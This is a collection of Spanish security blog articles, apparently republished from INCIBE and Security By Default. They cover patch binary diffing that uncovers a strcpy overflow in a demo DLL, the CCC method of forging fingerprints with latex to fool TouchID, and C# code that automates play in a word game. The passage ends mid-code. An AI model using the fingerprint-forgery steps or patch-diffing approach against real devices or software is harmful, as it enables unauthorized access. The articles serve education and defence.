Smoke & Mirrors

La importancia del lenguaje, binary diffing y otras historias de "día uno"

2015-05-26T00:00:00+02:00

Este artículo lo publiqué originalmente en el blog de seguridad de INCIBE.

El papel del lenguaje en una profesión es importante. Cualquier disciplina genera su propio lenguaje técnico a medida que evoluciona y se hace más compleja, ya que es un mecanismo con el cual profesionales del mismo campo pueden intercambiar conocimientos e interactuar de forma concisa, precisa y sin ambigüedades.

Incluso dentro de una disciplina aparecen subdisciplinas, como el caso de la informática, que abarca tantas cosas diferentes que se hace necesario crear especialidades, cada una con su propio lenguaje técnico.

Nuestra especialidad es la seguridad de la información, y es un campo tan diverso que su lenguaje también lo es.

Sin embargo, esta especialidad ha tenido un boom en interés y complejidad en un espacio muy corto de tiempo, y esto genera un problema: se convierte en una moda, y ello afecta a una correcta evolución de la misma (donde el marketing se impone sobre el desarrollo tecnológico).

Al ser algo muy mediático (ataques informáticos, hackers, espionaje,.. son temas muy apetecibles para la prensa), se empieza a utilizar el lenguaje propio de la profesión de forma indiscriminada, y a menudo (muy a menudo) se hace de forma incorrecta, llegando incluso a inventarse términos que no existen o que son, cuanto menos, semánticamente incorrectos.

Del mismo modo, solo las técnicas más accesibles o más populares se destacan y promocionan ("conviertase en un especialista utilizando Metasploit", "aprenda a analizar malware sin esfuerzo"), relegando a un segundo plano los conocimientos fundamentales sobre computación o arquitectura de procesadores necesarios para comprender lo que se está haciendo ("la matemática no vende"). Y esto se hace incluso en cursos de formación.

Esto genera mucho ruido, y un profesional (especialmente los que empiezan) corre el riesgo de aprender conceptos de forma incorrecta o de estancarse en conocimientos superficiales si no es capaz de profundizar sin distraerse con toda esa información que está en candelero.

A esto ha contribuído el haber caído en el uso excesivo de buzzwords, o la reciente moda de poner nombre a vulnerabilidades (shellshock, heartbleed, o la reciente venom) para venderlas como un gran descubrimiento o una peligrosidad excepcional, cuando la realidad es que no son más importantes que cualquier otra vulnerabilidad o amenaza (de hecho, suelen ser bastante "simples").

El caso que vamos a tratar en este artículo, como ejemplo de como el mal uso del lenguaje técnico (o el uso del mismo para hacer marketing) puede distraer nuestra atención de lo importante, es el de las vulnerabilidades 0day, término utilizado para referirse a vulnerabilidades para las cuales no se conocen los detalles, y por tanto no existe todavía un parche.

Debido al tirón mediático que tiene la palabra 0day, tenemos la falsa percepción de que una vulnerabilidad de este tipo es muy peligrosa. Frente a esto, da la sensación de que una vulnerabilidad “común” no lo es tanto porque no se escucha hablar de ella hasta que aparece en el changelog de un parche, especialmente cuando se ha hecho responsible disclosure y solo el fabricante dispone de los detalles de la misma (en muchas ocasiones parcheando en silencio y ocultando su criticidad al público general, lo cual es una práctica, cuanto menos, discutible).

La realidad, es que cualquier vulnerabilidad es peligrosa. Y en muchas ocasiones las vulnerabilidades parcheadas (llamémosles “1-day” para ilustrar lo innecesario del término) son más peligrosas incluso que las desconocidas, ya que no se les presta la misma atención por considerarlas corregidas, pero un posible atacante ya conoce los detalles de la misma.

Inconscientemente, se les resta importancia porque no son 0day.

A continuación, veremos un ejemplo práctico de como un atacante puede aprovechar esa sensación de "menor prioridad" a la hora de parchear un sistema.

Binary diffing

La diferencia binaria, o más concretamente, diferencia de código (program diffing) es una técnica clásica de ingeniería inversa en la que se comparan dos archivos a nivel binario o a nivel de instrucciones, en busca de diferencias. O lo que es lo mismo, qué ha cambiado un archivo respecto al otro.

Para ello se emplean diferentes heurísticas de búsqueda que generarán unos resultados significativos dentro del contexto que queremos analizar, como pueden ser diferencias entre nombres de una misma función, diferencias entre series de instrucciones, prólogos de funciones, etc.

Existen diversas herramientas y plugins diseñados para esta tarea, como DarumGrim, Zynamics Bindiff, o el reciente Diaphora, un plugin open source para IDA Pro, desarrollado por el investigador Joxean Koret y que utilizaremos en la demo de este artículo.

Este tipo de técnicas son muy útiles para algunas tareas, como descubrir qué nuevas funcionalidades o mejoras se han realizado sobre un software, o para comprobar si el nuevo parche es compatible con la arquitectura que tengamos montada (y así evitar que el parche “rompa” algo), aunque el caso que nos atañe es la identificación de vulnerabilidades ya corregidas, comparando la antigua versión vulnerable con la nueva ya parcheada.

Esto tiene aplicaciones legítimas, como puede ser la generación de firmas para un IDS o un antivirus, pero también es un método muy utilizado para descubrir vulnerabilidades que no han sido reveladas públicamente y sacar ventaja de ello.

Para ilustrar cómo se hace esto, hemos creado un sencillo programa que consta de dos componentes, prog.exe y utils.dll.

Dicho programa toma como argumento la ruta a un archivo de texto, y muestra por pantalla los 8 primeros caracteres.

Más tarde, se nos proporciona un parche para el mismo, el cual incluye una nueva versión de utils.dll, y cuyo changelog reza:

"Versión 1.2: Se corrige un error que causaba inestabilidad en el programa"

Esto no nos dice mucho, y parece poco transparente. ¿A qué se refieren con inestabilidad?

Dado que el parche solo trae un nuevo utils.dll, está claro que la corrección se ha hecho sobre ese archivo, así que vamos a compararlo con el archivo original y comprobar qué se ha cambiado en el código.

Abrimos en IDA el utils.dll original, y lanzamos el script Diaphora, para generar la base de datos sqlite que utilizará el script para hacer su trabajo.

Ahora que ya tenemos la BBDD para el archivo original, abrimos el nuevo, y repetimos la operación, excepto que esta vez ya lanzaremos el proceso de diffing, proporcionando el sqlite del original.

El script nos abrirá varias pestañas, y la que nos interesa en este caso es “Best matches”. Llama a atención que la función utils_1, concuerda en nombre para ambos archivos, pero solo en eso.

Ejecutando de nuevo el script, esta vez marcando “Ignore all function names”, podemos comprobar que efectivamente, para la función utils_1 no coincide el código entre ambos archivos.

Es el momento de comparar ambas funciones para analizar en detalle qué ha cambiado en el código cuando aplicamos el parche.

Diff assembly in a graph A la izquierda la función original; a la derecha el código parcheado

Diff assembly A la izquierda el código original, a la derecha el código parcheado

Ya que la función no es demasiado compleja, antes de estudiar el código modificado, vamos a ver qué es lo que hace la función, para así tener la foto completa, lo cual nos será útil para entender el porqué de la corrección.

Con un vistazo rápido observamos que la función utils_1 prepara el stack frame para dos arrays de 8 bytes (var_8 y var_10) y abre un archivo en modo lectura (presumiblemente el archivo que pasamos al programa como argumento) para a continuación cargar 8 bytes (tomados del fichero) en var_8 con fread.

Si reconstruimos el código en C:

Veamos ahora el código que ha cambiado con el parche:

No es más que una llamada a strncpy_s para copiar el contenido de var_8 en var_10. Esto ya nos da una pista importante de por dónde van los tiros acerca de la vulnerabilidad, aunque no adelantemos acontecimientos.

Estudiemos ahora el código original (el que ha sido reemplazado por strcpy_s):

Esta rutina va copiando byte a byte los valores del primer array en el segundo, hasta encontrar un byte nulo (‚0’), utilizado comúnmente como terminador de cadena.

O lo que es lo mismo, se trata de un strcpy (función conocida por carecer de mecanismos para prevenir desbordamientos), la cual si no encuentra un nulo en el segundo parámetro seguirá copiando bytes y sobrescribiendo valores de la pila más allá de sus límites, provocando eventualmente un clásico buffer overflow.

Hemos descubierto que lo que corrige este parche es una vulnerabilidad desencadenada por el uso incontrolado de la función fread. Dicha función copia los 8 primeros bytes del archivo en un array, pero no añade el caracter terminador (null) al final del mismo. Esto provocará un desbordamiento en strcpy al intentar copiar dicho array en el otro.

Conociendo esta información, escribir un exploit es relativamente trivial; utilizando un archivo cuidadosamente diseñado con un payload y pasándoselo como parámetro nos permitiría ejecutar nuestro propio código.

Para comprobar que efectivamente se produce un desbordamiento de pila, vamos a pasarle a prog.exe un archivo con un tamaño superior a los 8 bytes.

Programa parcheado

Programa sin parchear

Este ejemplo es extremadamente simple; en un caso real nos encontraríamos con otras dificultades que hacen el trabajo un poco más complicado:

Mayor cantidad de diferencias en el código (optimizaciones diferentes según compilador,…)
Otros bugfixes ajenos a las vulnerabilidades, los cuales habrá que descartar
Código ofuscado, el cual requiere un esfuerzo extra para entender el código
Técnicas anti-disassembly o anti-diffing
...

Además, por supuesto, de las protecciones habituales como DEP, ASLR, StackGuard (canary),… que han sido desactivadas para este experimento.

Sin embargo para un analista experimentado, encontrar la vulnerabilidad y crear un exploit disponiendo del archivo original y del parche, sigue siendo cuestión de horas, o en el peor de los casos unos pocos días.

La ventana de tiempo que transcurre desde que aparece un parche hasta que el usuario final lo aplica, es aprovechada por atacantes para diseccionar esos parches, crear un exploit y atacar a la víctima. Y dicha ventana se alarga en el tiempo por diversas razones (políticas de actualizaciones mal definidas, logística, no estar al día, …), pero sobretodo porque no se considera dichas vulnerabilidades críticas, y por tanto nos relajamos a la hora de darles importancia. Y ahí radica el peligro de las vulnerabilidades “normales”, no tanto por la falta de solución, sino por la percepción que se tiene de ellas frente a otras vulnerabilidades más publicitadas como los 0day.

La problemática de la biometría como método de autenticación

2013-09-25T00:00:00+02:00

Este artículo lo publiqué originalmente en el blog de seguridad de INCIBE.

Con el anuncio del nuevo sensor de huellas dactilares en el último smartphone de Apple, el iPhone 5S, los sensores biométricos vuelven a estar bajo escrutinio entre los profesionales de la seguridad de la información.

En especial porque el empleo de estas tecnologías entraría de lleno en la electrónica de consumo, y podría convertirse en algo de uso ubicuo para proteger información tan sensible como la que puede contener cualquier teléfono móvil hoy en día.

Recientemente la reputada asociación de hackers Chaos Computer Club (CCC) ha sido capaz de burlar el sensor del iPhone 5S, tan solo dos semanas después de la presentación oficial del nuevo teléfono. (Fuente: CCC breaks Apple TouchID).

Con ayuda de una cámara fotográfica digital, es posible obtener una imagen de alta resolución (2400 dpi) de una huella impresa en algún objeto (ej. la propia pantalla del teléfono), tratarla con algún software de retoque fotográfico, y una vez aislados los contornos de la huella, imprimir el negativo de la misma sobre una lámina transparente.

Aprovechando que las impresoras laser utilizan tóner y este deja un relieve sobre la lámina, se aplica una película de un material flexible y traslúcido similar a la piel (como el látex), consiguiendo una copia física de la huella original, capaz de desbloquear el dispositivo como si de un dedo se tratase.

No es la primera vez que este grupo pone en entredicho la viabilidad de la biometría como método seguro de autenticación, y desde hace varios años recomiendan que sea descartado como tal.

Este sencillo método no es más que un indicador de lo que sería posible hacer para burlar dispositivos de este tipo si se dispusiese de recursos tecnológicos avanzados.

Introducción

La biometría es el estudio de métodos automáticos para el reconocimiento único de humanos basado en rasgos físicos o conductuales intrínsecos a las personas.

Los rasgos biométricos, como huellas dactilares, iris o retina oculares, voz, o incluso los latidos del corazón y las expresiones faciales, proporcionan beneficios en sistemas de identificación, tanto en comodidad y facilidad de uso, como en sus características inequívocas para cada persona.

Una huella puede ser escaneada con diversas tecnologías: Óptica, Ultrasónica, Capacitiva,…

Se utilizan multitud de algoritmos para obtener un valor inequívoco a partir de la imagen, basándose en características reconocibles, como patrones geométricos, distancias entre puntos, presión de los relieves, etc.

Una huella puede ser escaneada con diversas tecnologías: Óptica, Ultrasónica, Capacitiva,…

Las aplicaciones prácticas de la biometría son muy diversas y no solo se aplican al terreno de la seguridad. Sin embargo en este último campo no son tan robustas como a priori pudiese parecer.

En el imaginario colectivo tenemos la idea de que este tipo de sistemas son el futuro; tecnología muy avanzada y de alta seguridad.

El cine nos ha acostumbrado a ver como escáneres retinales, controles por voz o apertura de puertas apoyando la mano sobre un panel brillante son el pan de cada día en los lugares más restringidos y vanguardistas del mundo, a donde solo los villanos más exquisitos son capaces de acceder.

Sin embargo, nada más lejos de la realidad: si bien la biométrica es un gran apoyo para mejorar la seguridad de nuestra información, solo lo es si se utiliza como segundo factor de autenticación junto con una contraseña u otro mecanismo.

Cuando solo se utiliza un solo factor, «algo que sabes» (una contraseña) sigue siendo más seguro que «algo que eres» (biometría).

Aunque se desarrollen sistemas biométricos avanzados que a priori no pueden ser burlados, nada garantiza que pasado un tiempo sigan siendo seguros, ya que la tecnología avanza rápidamente, y recursos técnicos que hoy serían impensables para un posible atacante, mañana podrían estar al alcance de cualquier persona. Pero nuestros rasgos seguirán siendo los mismos y ya los habríamos perdido.

El problema

Desde el punto de vista de un atacante, los problemas que presentan los rasgos biométricos a la hora de utilizarlos como reemplazo (y no como apoyo) a las contraseñas actuales, son los siguientes:

Son Únicos, Permanentes e Irrevocables

Aunque una de sus ventajas iniciales es que son rasgos únicos e intrínsecos a cada persona, no pueden ser reemplazados, lo que implica que una vez alguien es capaz de replicarlos no es posible revocarlos y obtener unos nuevos, lo cual si es posible con una contraseña o un token.

Esto genera además otro problema. Al haber sido comprometida nuestra huella, podría ser usada para acceder a cualquier otro servicio o dispositivo en el que haya sido utilizada como credencial, lo que rompe con dos de las máximas en seguridad: utilizar una contraseña diferente para cada servicio o dispositivo (de forma que si alguien compromete uno de ellos, no pueda acceder al resto) y cambiarlas regularmente.
Son públicos, y su obtención es relativamente sencilla

A diario dejamos nuestras huellas impresas en todas partes (lo que equivaldría a ir escribiendo nuestra contraseña cada vez que se abre una puerta, se coge un vaso, o nos sujetamos en el asidero de un autobús)
- Las cámaras fotográficas y videocámaras actuales disponen de una gran resolución y sus ópticas permiten hacer zoom a grandes distancias, por lo que cualquier persona puede disponer de equipamiento para fotografiar nuestros ojos en la calle, desde grandes distancias y con un nivel de detalle excepcional.
  
  Con técnicas más avanzadas (ej., mediciones fotométricas), o incluso con tecnologías oftalmológicas corrientes, sería posible medir otros parámetros, como curvatura del ojo, reflectividad, presión intraocular,...
- La voz de una persona puede ser grabada fácilmente en un bar, a través del teléfono o una videoconferencia, y con el equipo adecuado, desde grandes distancias.
  
  La tecnología de reconocimiento y síntesis de voz está muy avanzada, y existen programas software (inicialmente diseñados para la industria musical) que permiten sintetizar frases nuevas a partir de unas cuantas sílabas sueltas, emulando incluso diferentes inflexiones y timbres vocales.
- El movimiento corporal y expresiones faciales son fácilmente capturables con tecnologías como las utilizadas en el cine (Markerless Mocap: captura de movimiento sin marcadores), o los videojuegos (Xbox Kinetic, PlayStation Eye), hoy en día accesibles fácilmente a cualquier persona.
Tecnologías de motion capture sin marcadores.

Estos son solo unos pocos ejemplos de lo sencillo que es obtener los rasgos biométricos de una persona empleando técnicas realistas.
Son replicables con facilidad

Tal y como se ha demostrado con las huellas digitales, prácticamente cualquier cualidad física o motora es reproducible con mayor o menor esfuerzo, ya que la información que se obtiene es paramétrica (basada en patrones), independientemente de la complejidad de los mismos.

Todo patrón es replicable si se dispone de las herramientas adecuadas, ya que no hay un componente aleatorio o entrópico como se puede encontrar en muchos algoritmos matemáticos utilizados en criptografía.

Fuentes:

Reconstrucción de Iris (inglés)

Reconstrucción de huellas digitales (inglés)
No se pueden denegar Memorizando una contraseña, es muy difícil que alguien pueda forzar a otra persona a revelarla contra su voluntad. Ya sea con una negación explícita, o utilizando la negación plausible (generando una situación en la que es imposible demostrar lo contrario, como «la he olvidado»).

Sin embargo, sí es posible ser forzado físicamente a utilizar nuestro dedo para desbloquear un acceso, por lo que el empleo de este tipo de autenticación añade una amenaza, no solo a la seguridad de la información, si no a la integridad física de la persona, que podría ser agredida o secuestrada para obtener sus credenciales.
Pueden ser robados por medios fuera del control del propietario

La información extraída de un rasgo biométrico debe ser almacenada en algún tipo de base de datos, independientemente del formato que se utilice. Esto abre las puertas a que no solo se puedan robar físicamente, sino también comprometiendo el lugar donde se almacenan esos datos, ya sea:
- Con ingeniería inversa sobre el dispositivo electrónico donde se almacena (microchip, memoria,…)
- Comprometiendo la seguridad de un servidor o base de datos donde pudiese estar guardada.
No sería necesario obtener la imagen de una huella, puesto que los datos extraídos y almacenados de ella (ya sean patrones, geometría o hashes) son potencialmente susceptibles de ser utilizados, o bien para ser inyectados directamente en el sistema sin pasar por el sensor, o para, previo análisis del algoritmo de generación, realizar una reconstrucción de la misma.
Estos sistemas presentan una superficie de ataque muy amplia

Comprometer un sistema biométrico no se reduce a ataques con tecnología informática. Juegan un papel muy importante como vectores potenciales de ataque campos tan dispares como:
- Audiovisual: Técnicas que se utilizan en el cine o la radio para engañar a nuestros sentidos y crear una ilusión, pueden ser empleadas también para burlar un sistema electrónico mucho más fácilmente.
- Medicina: Se pueden alterar características fisiológicas, como el pulso, la presión arterial, las pupilas de los ojos…
- Mecánica: Tecnologías como la robótica pueden emular comportamientos humanos.
- Química: Desarrollar compuestos que simulan la piel (como el latex), acuosidad ocular,…
- Artesanía: Se pueden fabricar objetos que simulen de forma realista características humanas (como la forma de una cara).
- Electrónica: El hardware es tan vulnerable como el software cuando se tiene acceso físico a el.
- Física aplicada
Entre otros.

Esto significa que es complicado predecir qué tipo de ataque podría afectar a un sistema biométrico concreto.

Al igual que las huellas digitales, el iris ocular también muestra diversas características reconocibles de las que extraer patrones biométricos.

Conclusiones

La utilización de mecanismos biométricos de consumo pretende solventar un problema de conveniencia, en detrimento de la seguridad.

Hoy en día todavía hay mucha gente que no configura una contraseña en sus móviles, tabletas u ordenadores por la incomodidad de teclearla cada vez que se utilizan.

Emplear una huella u otros rasgos biométricos para solucionarlo, aunque facilita la usabilidad, no es el modo más adecuado, ya que además de los problemas descritos anteriormente, fomenta que el usuario final no tome conciencia de la importancia de mantener su información segura, y olvide las buenas prácticas en materia de privacidad, como acostumbrarse a memorizar buenas contraseñas, utilizar una para cada servicio, cambiarlas a menudo, o evitar apuntarlas y utilizarlas en lugares donde puedan ser copiadas.

Por todo ello, es recomendable limitar el uso de tecnologías biométricas a aplicaciones donde la seguridad y la privacidad no sean una prioridad, y en caso de serlo, emplearlas únicamente en sistemas de autenticación de doble factor.

The issue of biometrics as an authentication method

2013-09-25T00:00:00+02:00

This article was originally published on INCIBE security blog.

With the announcement of the new fingerprint sensor in the latest smartphone from Apple, the iPhone 5S, biometric sensors are again under scrutiny among information security professionals.

Especially because the use of these technologies is becoming popular for consumer grade electronics, and its use use could become ubiquitous for something made to protect sensitive data, like information found in any mobile phone nowadays.

Recently, Chaos Computer Club (CCC) has been able to circunvent the sensor on iPhone 5S, just two weeks after the official presentation of the new phone (Source: CCC breaks Apple TouchID).

Using a digital camera, it is possible to obtain a high-resolution (2400 dpi) pciture of a fingerprint on an object (for example, the phone screen itself); manipulate it with a photo editing software, and once the contours are isolated, print them as a negative on a transparent sheet.

Leveraging toner properties of laser printers (it leaves an emboss) is possible to apply a film of a flexible and translucent material similar to the skin (such as latex), getting a physical copy of the original fingerprint able to unlock the device as if it were a finger.

It is not the first time this group calls into question the viability of biometrics as a secure method of authentication, and recommend several years to be dismissed as such.

This simple method is only an indicator of what would be possible to circumvent such devices if advanced technological resources were available.

Introduction

Biometrics are the study of automated methods for recognizing humans based only on people intrinsic physical or behavioral traits.

Biometric features such as fingerprints, eye iris or retina, voice, or even heartbeat and facial expressions provide benefits in identification systems, both in comfort and usability, as in their unequivocal characteristics for each person.

A fingerprint can be scanned with different technologies: Optics, Ultrasonic, Capacitive, ...

Many algorithms are used to obtain an unambiguous value from the image, based on recognizable features, such as geometric patterns, distances between points, pressure emboss, etc.

The practical applications of biometrics are diverse and not only applied to the field of security. However, in this field are not as robust as a priori might seem.

We have the preconceived idea that such systems are the future; very advanced and highly secure technology.

We are used to see in films how retinal scanners, voice controls or door openers resting hand on a bright panel are common in the most restricted and trendy places in the world, where only the finest villains are able access.

However, nothing could be further from the truth: Although biometrics are a great support to enhance the security of our information, it are only when used as a second authentication factor along with a password or another mechanism.

If we only were using a single factor, "something you know" (a password) is still safer than 'something you are' (biometrics).

Although advanced biometric systems seem unbeatable, there is no guarantee that after some time remain will remain safe, as technology advances rapidly, and technical resources that would be unthinkable today for a possible attacker, tomorrow could be available for everyone. But our features will remain the same and can be lost forever.

The issue

From the point of view of an attacker, the problem of biometric features when used as replacement (and not as a support) to the current passwords, are:

Are Unique, Permanent and Irrevocable

Although one of its initial advantages is that are unique and intrinsic to each person, they can not be replaced, which means that once someone is able to replicate there is no way to revoke them, and generate a new one, unlike with a password or token.

This also generates another problem. If our fingerprint is compromised, it could be used to access any service or device on which it has been used as a credential. That breaks with two of the security rules: use a different password for each service or device (so if someone steals one of them, he will not be able to access the other) and change them regularly.
They are public, and their acquisition is relatively simple

We leave our fingerprint printed everywhere every day (which is equivalent to being writing our password every time we open a door, we take a glass, or we hold the handle of a bus).
- Today cameras and camcorders have great resolution and their optical zoom allows long distances, so anyone can have the equipment to photograph our eyes on the street from long distances and with an exceptional level of detail.
  
  With more advanced techniques (for example, Photometric measurements), or even with current ophthalmology technologies it could be possible to measure other parameters such as curvature of the eye, reflectivity, intraocular pressure, ...
- The voice of a person can be easily recorded in a bar, via telephone or video conference, and with the right equipment, from long ranges.
  
  Recognition and speech synthesis technology is well advanced, and there is software (initially designed for the music industry) that allows to synthesize new sentences from a few scattered syllables, even emulating different inflections and vocal timbres.
- Body movements and facial expressions can be easily captured with technologies used in films (Markerless Mocap: motion capture without markers), or video games (Xbox Kinetic, PlayStation Eye), accessible to anyone nowadays.
Markerless motion capture technologies

These are just a few examples of how easy it is to obtain the biometric features of a person using reallistic techniques.
Are easily replicable

As demonstrated with fingerprints, virtually any physical or motor feature is reproducible because the information obtained is parametric (based on patterns), regardless of their complexity.

Every pattern is replicable if you have the right tools, because there is no random or entropic component as can be found in many mathematical algorithms used in cryptography.

Sources:

Iris reconstruction

Fingerprint reconstruction
Are "undeniable"

When using memorized passwords, it is very difficult for anyone to force another person to reveal it against their will. Either with an explicit denial, or using plausible deniability (generating a situation where it is impossible to prove otherwise. For example "I have forgotten it").

However, it is possible to be physically forced to use your finger to unlock access, so the use of this kind of authentication adds a threat not only to information security, but to physical integrity for the person, who may be attacked or kidnapped to obtain their credentials.
They can be stolen by means outside the control of the owner

The information extracted from a biometric trait will be stored in a database, regardless of the format used. This opens the door to not only be physically stolen, but also compromising the place where these data are stored, either:
- With reverse engineer the electronic device where it is stored (microchip, memory, ...)
- Compromising the security of a server or database where it could be saved.
It wouldn't be necessary to obtain the "image" of a fingerprint, since the extracted and stored data from it (whether patterns, geometry or hashes) are potentially usable for being injected directly into the system bypassing the sensor, or, after analysis of the generation algorithm, a reconstruction of it.
These systems have a very large attack surface

Compromising a biometric system is not limited to attacks with computer technology. Another potential attack vectors include fields as diverse as:
- Audiovisual: Techniques used in films or radio to fool our senses and create an illusion, can also be used to circumvent an electronic system much easier.
- Medicine: It's possible to alter physiological characteristics, such as pulse, blood pressure, the pupils of the eyes ...
- Mechanics: Technologies such as robotics can emulate human behavior.
- Chemistry: Developing compounds that mimic the skin (such as latex), ocular acuity, ...
- Crafting: It's possible to craft objects realistically simulating human characteristics (such as a face).
- Electronics: The hardware is as vulnerable as the software when you have physical access to it.
- Applied Physics
Among others.

This means it is difficult to predict what kind of attack could affect a particular biometric system.

Like fingerprints, eye iris also shows various recognizable features from which to extract biometric templates.

Conclusions

The use of biometric mechanisms for consumers are intended to solve a problem of convenience at the expense of security.

Today there are still many people who do not set a password on their phones, tablets or computers for the inconvenience of typing it each time they are used.

Using a fingerprint or other biometric features to solve it, besides it facilitates usability, is not the best way, because in addition to the problems described above, encourages the end user to not be aware of the importance of keeping information safe and they would forget the good practices on privacy, as getting used to memorize good passwords, using a different one for each service, changing them often, or avoiding writing them down and using them in places where they could be "shoulder surfed".

Therefore, is advisable to limit the use of biometric applications where security and privacy are not a priority technologies, and if so, use them only in two-factor authentication systems.

Fuerza bruta mecánica: Ganando al Mezcladitos jugando de verdad

2013-02-14T10:32:00+01:00

Este artículo lo publiqué originalmente en Security By Default.

El mes pasado, nuestro amigo Lorenzo Martínez nos enseñó como ganar siempre a Mezcladitos interceptando las comunicaciones entre el juego y el servidor.

Como soy de ciencias, y en este tipo de juegos llevamos las de perder contra los de letras, y como no me gusta hacer trampas para ganar, decidí buscar una forma de jugar el juego utilizando mis conocimientos técnicos:

Bueno, quizá si sean trampas, pero al menos no estamos hackeando el sistema ;)

Esto es solo una inocente demostración de lo que es la fuerza bruta mecánica. Cuando escuchamos hablar sobre fuerza bruta, la mayoría de las veces nos viene a la cabeza el "ensayo y error" software para atacar contraseñas cifrando y comprobando si son válidas. Sin embargo podemos aplicarla mecánicamente a todo tipo de cosas: teclados virtuales, teclados físicos, roscas, etc.

En esta demostración he jugado al Mezcladitos de Facebook, sin embargo me hubiese gustado disponer de unos cuantos servos y un arduino para jugar directamente sobre la pantalla del iPhone (haciendo un sencillo "tecleador" mecánico).

Lo primero fue crear un algoritmo que resuelve el casillero, buscando por fuerza bruta todas las palabras que contiene basandome en un diccionario con todas las palabras del idioma español.

Dado que tenemos solo dos minutos para jugar, necesitamos calcular las palabras en el menor tiempo posible, así que ademas de optimizar el algoritmo, lo lanzamos en 16 threads (uno por cada casilla) para aprovechar todos los núcleos de nuestra CPU. Dicho algoritmo recorre todos los caminos posibles desde una casilla y comprueba si la palabra resultante en cada uno de ellos existe en el diccionario.

using MezcladitosPWNer;
using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
using System.Threading;
using System.Linq;

namespace MezcladitosPWNer {

    public class FuerzaBruta {
        private ManualResetEvent _doneEvent;
        private string _letra;
        private int _x;
        private int _y;
        private List<string> _ruta;
        private string _palabra;

        private int[,] adyacentesA = { { -1, -1 }, { 0, -1 }, { 1, -1 }, { 1, 0 }, { 1, 1 }, { 0, 1 }, { -1, 1 }, { -1, 0 } };
        private int[,] adyacentesB = { { 1, 0 }, { 1, 1 }, { 0, 1 }, { -1, 1 }, { -1, 0 } };
        private int[,] adyacentesC = { { 1, 0 }, { 1, 1 }, { 0, 1 } };
        private int[,] adyacentesD = { { 0, 1 }, { -1, 1 }, { -1, 0 } };
        private int[,] adyacentesE = { { -1, 0 }, { -1, -1 }, { 0, -1 }, { 1, -1 }, { 1, 0 } };
        private int[,] adyacentesF = { { 0, -1 }, { 1, -1 }, { 1, 0 } };
        private int[,] adyacentesG = { { -1, 0 }, { -1, -1 }, { 0, -1 } };
        private int[,] adyacentesH = { { 0, -1 }, { 1, -1 }, { 1, 0 }, { 1, 1 }, { 0, 1 } };
        private int[,] adyacentesI = { { 0, 1 }, { -1, 1 }, { -1, 0 }, { -1, -1 }, { 0, -1 } };



        public FuerzaBruta(int x, int y, List<string> ruta, string palabra, ManualResetEvent doneEvent) {
            _doneEvent = doneEvent;
            _x = x;
            _y = y;
            _ruta = ruta;
            _palabra = palabra;
        }


        public void ThreadPoolCallback(Object threadContext) {
            int threadIndex = (int)threadContext;
            ady(_x, _y, _ruta, _palabra);
            _doneEvent.Set();
        }


        private void ady(int x, int y, List<string> pRuta, string palabra) {
            if (_doneEvent.WaitOne(0)) {
                return;
            }

            List<string> ruta;
            ruta = new List<string>(pRuta);
            Regex regPart;
            int palMaxTam;
            Match m;

            if (ruta.Capacity > Globales.maxLength - 1) {
                return;
            }

            ruta.Add(x.ToString() + y.ToString());
            palabra += Globales.cas[x][y];

            if (palabra.Length == 1) {
                _letra = palabra;
            }

            if (palabra.Length >= Globales.minLength) {
                palMaxTam = Globales.maxLength - palabra.Length;

                if (Globales.arrays[_letra].Contains(palabra)) {
                    Globales.frm.pwnWord(palabra, new List<string>(ruta));
                    Globales.frm.AsyncWriteLine(palabra + " ");
                }

                regPart = new Regex(@"#(" + palabra + "\\S{" + palMaxTam + "})#");
                m = regPart.Match(Globales.cadenas[_letra]);

                if (!m.Success) {
                    return;
                }
            }

            if (y > 0 && y < 4 - 1 && x > 0 && x < 4 - 1) {
                for (int i = 0; i < adyacentesA.GetLength(0); i++) {
                    profundizar(x + adyacentesA[i, 0], y + adyacentesA[i, 1], ruta, palabra);
                }
            }
            if (y == 0) {
                if (x > 0 && x < 4 - 1) {
                    for (int i = 0; i < adyacentesB.GetLength(0); i++) {
                        profundizar(x + adyacentesB[i, 0], y + adyacentesB[i, 1], ruta, palabra);
                    }

                } else if (x == 0) {
                    for (int i = 0; i < adyacentesC.GetLength(0); i++) {
                        profundizar(x + adyacentesC[i, 0], y + adyacentesC[i, 1], ruta, palabra);
                    }
                } else if (x == 4 - 1) {
                    for (int i = 0; i < adyacentesD.GetLength(0); i++) {
                        profundizar(x + adyacentesD[i, 0], y + adyacentesD[i, 1], ruta, palabra);
                    }
                }
            }
            if (y == 4 - 1) {
                if (x > 0 && x < 4 - 1) {
                    for (int i = 0; i < adyacentesE.GetLength(0); i++) {
                        profundizar(x + adyacentesE[i, 0], y + adyacentesE[i, 1], ruta, palabra);
                    }
                } else if (x == 0) {
                    for (int i = 0; i < adyacentesF.GetLength(0); i++) {
                        profundizar(x + adyacentesF[i, 0], y + adyacentesF[i, 1], ruta, palabra);
                    }
                } else if (x == 4 - 1) {
                    for (int i = 0; i < adyacentesG.GetLength(0); i++) {
                        profundizar(x + adyacentesG[i, 0], y + adyacentesG[i, 1], ruta, palabra);
                    }
                }
            }
            if (x == 0 && y != 0 && y != 4 - 1) {
                for (int i = 0; i < adyacentesH.GetLength(0); i++) {
                    profundizar(x + adyacentesH[i, 0], y + adyacentesH[i, 1], ruta, palabra);
                }
            }
            if (x == 4 - 1 && y != 0 && y != 4 - 1) {
                for (int i = 0; i < adyacentesI.GetLength(0); i++) {
                    profundizar(x + adyacentesI[i, 0], y + adyacentesI[i, 1], ruta, palabra);
                }
            }
        }

        private void profundizar(int x, int y, List<string> ruta, String palabra) {
            if (ruta.LastIndexOf(x.ToString() + y.ToString()) == -1) {
                ady(x, y, ruta, palabra);
            }
        }
    }
}

Una vez tenemos todos los resultados, hacemos un hook a bajo nivel del ratón con SetWindowsHookEx, de ese modo puedo moverlo y hacer clicks automatizados para cada palabra.

Como se puede ver en el video, antes de iniciar se hace una calibración haciendo click sobre las dos primeras casillas y el "Enter", para conocer las coordenadas de todas las casillas del tablero.

public static IntPtr mouseHookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
         if (nCode >= 0 && InputHooks.MouseMessages.WM_LBUTTONDOWN == (InputHooks.MouseMessages)wParam && Globales.ctrlDOWN == true) {
             InputHooks.MSLLHOOKSTRUCT hookStruct = (InputHooks.MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(InputHooks.MSLLHOOKSTRUCT));
            if (Globales.siguiente == 0) {
                 Globales.coordCasilla1 = hookStruct.pt;
             } else if (Globales.siguiente == 1) {
                 Globales.coordCasilla2 = hookStruct.pt;
             } else if (Globales.siguiente == 2) {
                 Globales.coordBtnIntroducir = hookStruct.pt;
